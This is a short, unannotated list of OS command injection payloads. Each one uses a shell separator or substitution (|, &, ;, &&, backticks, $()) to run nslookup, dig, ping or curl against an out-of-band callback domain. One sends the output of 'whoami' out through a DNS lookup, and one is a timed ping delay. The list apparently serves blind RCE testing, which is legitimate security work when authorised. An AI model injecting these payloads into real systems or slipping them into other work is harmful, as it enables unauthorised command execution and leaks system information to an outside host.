||nslookup+`whoami`.rcepoc.callback.collabxyz.net|| 
&nslookup callback.collabxyz.net&'\"`0&nslookup rcepoc.callback.collabxyz.net&`' 
dig rcepoc.callback.collabxyz.net
ping rcepoc.callback.collabxyz.net
nslookup rcepoc.callback.collabxyz.net
`ping rcepoc.callback.collabxyz.net` 
& ping -n 30 127.0.0.1 & 
| curl http://rcepoc.callback.collabxyz.net/.testing/rce.txt 
& curl http://rcepoc.callback.collabxyz.net/.testing/rce.txt 
; curl https://rcepoc.callback.collabxyz.net/.testing/rce_vuln.txt 
&& curl https://rcepoc.callback.collabxyz.net/.testing/rce_vuln.txt 
curl https://rcepoc.callback.collabxyz.net/.testing/rce_vuln.txt 
$(`curl https://rcepoc.callback.collabxyz.net/.testing/rce_vuln.txt?req=22jjffjbn`) localhost%26nslookup+rcepoc.callback.collabxyz.nete%26
